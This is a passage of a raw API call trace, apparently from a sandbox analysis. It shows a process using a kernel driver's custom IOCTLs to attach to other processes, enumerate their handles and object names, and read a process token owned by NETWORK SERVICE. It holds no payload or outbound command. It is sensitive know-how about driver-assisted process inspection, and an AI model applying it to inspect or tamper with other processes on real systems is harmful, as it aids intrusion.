HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0121.484] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0121.484] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x88, lpOverlapped=0x0) returned 1 [0121.484] PsLookupProcessByProcessId (in: ProcessId=0x250, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.484] PsAcquireProcessExitSynchronization () returned 0x0 [0121.484] KeStackAttachProcess (in: PROCESS=0xfffffa800305ab30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa800305ab30, ApcState=0xfffff880044355d0) [0121.484] ObReferenceObjectByHandle (in: Handle=0x488, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa800312fbb0, HandleInformation=0x0) returned 0x0 [0121.484] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.484] PsReleaseProcessExitSynchronization () returned 0x2 [0121.484] ObfDereferenceObject (Object=0xfffffa800305ab30) returned 0x84 [0121.484] ObQueryNameString (in: Object=0xfffffa800312fbb0, ObjectNameInfo=0xfffffa8001fed044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001fed044, ReturnLength=0xfffff88004435550) returned 0x0 [0121.484] ObfDereferenceObject (Object=0xfffffa800312fbb0) returned 0x11 [0121.484] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.484] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0121.484] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0121.484] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0121.484] PsLookupProcessByProcessId (in: ProcessId=0x250, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.484] PsAcquireProcessExitSynchronization () returned 0x0 [0121.484] KeStackAttachProcess (in: PROCESS=0xfffffa800305ab30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa800305ab30, ApcState=0xfffff880044355d0) [0121.484] ObReferenceObjectByHandle (in: Handle=0x48c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0121.484] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.484] PsReleaseProcessExitSynchronization () returned 0x2 [0121.485] ObfDereferenceObject (Object=0xfffffa800305ab30) returned 0x84 [0121.485] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa8001ffb044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001ffb044, ReturnLength=0xfffff88004435550) returned 0x0 [0121.485] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x27 [0121.485] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.485] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0121.485] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0121.485] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0121.485] PsLookupProcessByProcessId (in: ProcessId=0x250, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.485] PsAcquireProcessExitSynchronization () returned 0x0 [0121.485] KeStackAttachProcess (in: PROCESS=0xfffffa800305ab30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa800305ab30, ApcState=0xfffff880044355d0) [0121.485] ObReferenceObjectByHandle (in: Handle=0x4a0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0121.485] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.485] PsReleaseProcessExitSynchronization () returned 0x2 [0121.485] ObfDereferenceObject (Object=0xfffffa800305ab30) returned 0x84 [0121.485] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa800202c044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa800202c044, ReturnLength=0xfffff88004435550) returned 0x0 [0121.485] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x27 [0121.485] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.485] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0121.485] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0121.485] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0121.485] PsLookupProcessByProcessId (in: ProcessId=0x250, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.485] PsAcquireProcessExitSynchronization () returned 0x0 [0121.485] KeStackAttachProcess (in: PROCESS=0xfffffa800305ab30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa800305ab30, ApcState=0xfffff880044355d0) [0121.485] ObReferenceObjectByHandle (in: Handle=0x4fc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0121.485] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.485] PsReleaseProcessExitSynchronization () returned 0x2 [0121.485] ObfDereferenceObject (Object=0xfffffa800305ab30) returned 0x84 [0121.485] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa80020cd044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80020cd044, ReturnLength=0xfffff88004435550) returned 0x0 [0121.485] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x27 [0121.485] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.485] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0121.485] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0121.486] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x2e, lpOverlapped=0x0) returned 1 [0121.486] PsLookupProcessByProcessId (in: ProcessId=0x250, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.486] PsAcquireProcessExitSynchronization () returned 0x0 [0121.486] KeStackAttachProcess (in: PROCESS=0xfffffa800305ab30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa800305ab30, ApcState=0xfffff880044355d0) [0121.486] ObReferenceObjectByHandle (in: Handle=0x560, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8002f97760, HandleInformation=0x0) returned 0x0 [0121.486] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.486] PsReleaseProcessExitSynchronization () returned 0x2 [0121.486] ObfDereferenceObject (Object=0xfffffa800305ab30) returned 0x84 [0121.486] ObQueryNameString (in: Object=0xfffffa8003168830, ObjectNameInfo=0xfffffa80020db044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa80020db044, ReturnLength=0xfffff88004435508) returned 0x0 [0121.486] ObfDereferenceObject (Object=0xfffffa8002f97760) returned 0x1 [0121.486] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.486] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0121.486] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0121.486] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0121.486] PsLookupProcessByProcessId (in: ProcessId=0x250, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.486] PsAcquireProcessExitSynchronization () returned 0x0 [0121.486] KeStackAttachProcess (in: PROCESS=0xfffffa800305ab30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa800305ab30, ApcState=0xfffff880044355d0) [0121.486] ObReferenceObjectByHandle (in: Handle=0x658, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a0019a8fc0, HandleInformation=0x0) returned 0x0 [0121.486] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.486] PsReleaseProcessExitSynchronization () returned 0x2 [0121.486] ObfDereferenceObject (Object=0xfffffa800305ab30) returned 0x84 [0121.486] ObQueryNameString (in: Object=0xfffff8a0019a8fc0, ObjectNameInfo=0xfffffa80020e0044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80020e0044, ReturnLength=0xfffff88004435550) returned 0x0 [0121.486] ObfDereferenceObject (Object=0xfffff8a0019a8fc0) returned 0xa [0121.486] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.486] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0121.486] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x294) returned 0xc0 [0121.486] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0121.486] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004435668, HandleInformation=0x0 | out: Object=0xfffff88004435668*=0xfffffa800a76d690, HandleInformation=0x0) returned 0x0 [0121.486] ObOpenObjectByPointer (in: Object=0xfffffa800a76d690, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88004435670 | out: Handle=0xfffff88004435670*=0xffffffff80000550) returned 0x0 [0121.486] ObfDereferenceObject (Object=0xfffffa800a76d690) returned 0xaf [0121.487] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000550, DesiredAccess=0x8, TokenHandle=0xfffffa80036b6180 | out: TokenHandle=0xfffffa80036b6180*=0xc8) returned 0x0 [0121.487] ZwClose (Handle=0xffffffff80000550) returned 0x0 [0121.487] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.487] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0121.487] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x14), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="NETWORK SERVICE", cchName=0x12d3c0, ReferencedDomainName="NT AUTHORITY", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0121.631] CloseHandle (hObject=0xc8) returned 1 [0121.631] CloseHandle (hObject=0xc0) returned 1 [0121.631] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0121.631] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0121.631] PsLookupProcessByProcessId (in: ProcessId=0x294, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.631] PsAcquireProcessExitSynchronization () returned 0x0 [0121.631] KeStackAttachProcess (in: PROCESS=0xfffffa800a76d690, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa800a76d690, ApcState=0xfffff880044355d0) [0121.631] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa800306a960, HandleInformation=0x0) returned 0x0 [0121.631] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.631] PsReleaseProcessExitSynchronization () returned 0x2 [0121.631] ObfDereferenceObject (Object=0xfffffa800a76d690) returned 0xad [0121.631] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80019ff7c4, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa80019ff7c4, ReturnLength=0xfffff88004435508) returned 0x0 [0121.631] ObfDereferenceObject (Object=0xfffffa800306a960) returned 0x1 [0121.631] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.632] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0121.632] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0121.632] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0121.632] PsLookupProcessByProcessId (in: ProcessId=0x294, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.632] PsAcquireProcessExitSynchronization () returned 0x0 [0121.632] KeStackAttachProcess (in: PROCESS=0xfffffa800a76d690, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa800a76d690, ApcState=0xfffff880044355d0) [0121.632] ObReferenceObjectByHandle (in: Handle=0x84, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80030da840, HandleInformation=0x0) returned 0x0 [0121.632] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.632] PsReleaseProcessExitSynchronization () returned 0x2 [0121.632] ObfDereferenceObject (Object=0xfffffa800a76d690) returned 0xad [0121.632] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa800341c7c4, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa800341c7c4, ReturnLength=0xfffff88004435508) returned 0x0 [0121.632] ObfDereferenceObject (Object=0xfffffa80030da840) returned 0x1 [0121.632] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.632] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0121.632] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0121.632] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0121.632] PsLookupProcessByProcessId (in: ProcessId=0x294, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.632] PsAcquireProcessExitSynchronization () returned 0x0 [0121.632] KeStackAttachProcess (in: PROCESS=0xfffffa800a76d690, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa800a76d690, ApcState=0xfffff880044355d0) [0121.632] ObReferenceObjectByHandle (in: Handle=0x154, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80030eeb60, HandleInformation=0x0) returned 0x0 [0121.632] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.632] PsReleaseProcessExitSynchronization () returned 0x2 [0121.632] ObfDereferenceObject (Object=0xfffffa800a76d690) returned 0xad [0121.632] ObQueryNameString (in: Object=0xfffffa80030eeb60, ObjectNameInfo=0xfffffa8002101044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8002101044, ReturnLength=0xfffff88004435550) returned 0x0 [0121.632] ObfDereferenceObject (Object=0xfffffa80030eeb60) returned 0x1 [0121.632] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.632] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0121.632] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0121.632] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0121.632] PsLookupProcessByProcessId (in: ProcessId=0x294, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.632] PsAcquireProcessExitSynchronization () returned 0x0 [0121.632] KeStackAttachProcess (in: PROCESS=0xfffffa800a76d690, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa800a76d690, ApcState=0xfffff880044355d0) [0121.633] ObReferenceObjectByHandle (in: Handle=0x15c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80030ef8b0, HandleInformation=0x0) returned 0x0 [0121.633] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.633] PsReleaseProcessExitSynchronization () returned 0x2 [0121.633] ObfDereferenceObject (Object=0xfffffa800a76d690) returned 0xad [0121.633] ObQueryNameString (in: Object=0xfffffa80030ef8b0, ObjectNameInfo=0xfffffa8001a00044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a00044, ReturnLength=0xfffff88004435550) returned 0x0 [0121.633] ObfDereferenceObject (Object=0xfffffa80030ef8b0) returned 0x2 [0121.633] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.633] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0121.633] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0121.633] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0121.633] PsLookupProcessByProcessId (in: ProcessId=0x294, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.633] PsAcquireProcessExitSynchronization () returned 0x0 [0121.633] KeStackAttachProcess (in: PROCESS=0xfffffa800a76d690, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa800a76d690, ApcState=0xfffff880044355d0) [0121.633] ObReferenceObjectByHandle (in: Handle=0x160, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80030ef070, HandleInformation=0x0) returned 0x0 [0121.633] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.633] PsReleaseProcessExitSynchronization () returned 0x2 [0121.633] ObfDereferenceObject (Object=0xfffffa800a76d690) returned 0xad [0121.633] ObQueryNameString (in: Object=0xfffffa80030ef070, ObjectNameInfo=0xfffffa80019f9044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80019f9044, ReturnLength=0xfffff88004435550) returned 0x0 [0121.633] ObfDereferenceObject (Object=0xfffffa80030ef070) returned 0x2 [0121.633] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.633] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0121.633] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0121.633] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x76, lpOverlapped=0x0) returned 1 [0121.633] PsLookupProcessByProcessId (in: ProcessId=0x294, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.633] PsAcquireProcessExitSynchronization () returned 0x0 [0121.633] KeStackAttachProcess (in: PROCESS=0xfffffa800a76d690, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa800a76d690, ApcState=0xfffff880044355d0) [0121.633] ObReferenceObjectByHandle (in: Handle=0x168, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80030ed700, HandleInformation=0x0) returned 0x0 [0121.633] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.633] PsReleaseProcessExitSynchronization () returned 0x2 [0121.633] ObfDereferenceObject (Object=0xfffffa800a76d690) returned 0xad [0121.634] ObQueryNameString (in: Object=0xfffffa80030ed700, ObjectNameInfo=0xfffffa80020df044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80020df044, ReturnLength=0xfffff88004435550) returned 0x0 [0121.634] ObfDereferenceObject (Object=0xfffffa80030ed700) returned 0x2 [0121.634] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.634] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0121.634] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0121.634] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0121.634] PsLookupProcessByProcessId (in: ProcessId=0x294, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.634] PsAcquireProcessExitSynchronization () returned 0x0 [0121.634] KeStackAttachProcess (in: PROCESS=0xfffffa800a76d690, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa800a76d690, ApcState=0xfffff880044355d0) [0121.634] ObReferenceObjectByHandle (in: Handle=0x16c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80030ed5b0, HandleInformation=0x0) returned 0x0 [0121.634] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.634] PsReleaseProcessExitSynchronization () returned 0x2 [0121.634] ObfDereferenceObject (Object=0xfffffa800a76d690) returned 0xad [0121.634] ObQueryNameString (in: Object=0xfffffa80030ed5b0, ObjectNameInfo=0xfffffa8001a06044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a06044, ReturnLength=0xfffff88004435550) returned 0x0 [0121.634] ObfDereferenceObject (Object=0xfffffa80030ed5b0) returned 0x2 [0121.634] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.634] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0121.634] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0121.634] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0121.634] PsLookupProcessByProcessId (in: ProcessId=0x294, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.634] PsAcquireProcessExitSynchronization () returned 0x0 [0121.634] KeStackAttachProcess (in: PROCESS=0xfffffa800a76d690, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa800a76d690, ApcState=0xfffff880044355d0) [0121.634] ObReferenceObjectByHandle (in: Handle=0x174, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80030f38d0, HandleInformation=0x0) returned 0x0 [0121.634] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.634] PsReleaseProcessExitSynchronization () returned 0x2 [0121.634] ObfDereferenceObject (Object=0xfffffa800a76d690) returned 0xad [0121.634] ObQueryNameString (in: Object=0xfffffa80030f38d0, ObjectNameInfo=0xfffffa8001a07044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a07044, ReturnLength=0xfffff88004435550) returned 0x0 [0121.634] ObfDereferenceObject (Object=0xfffffa80030f38d0) returned 0x2 [0121.635] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.635] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0121.635] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0121.635] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x32, lpOverlapped=0x0) returned 1 [0121.635] PsLookupProcessByProcessId (in: ProcessId=0x294, 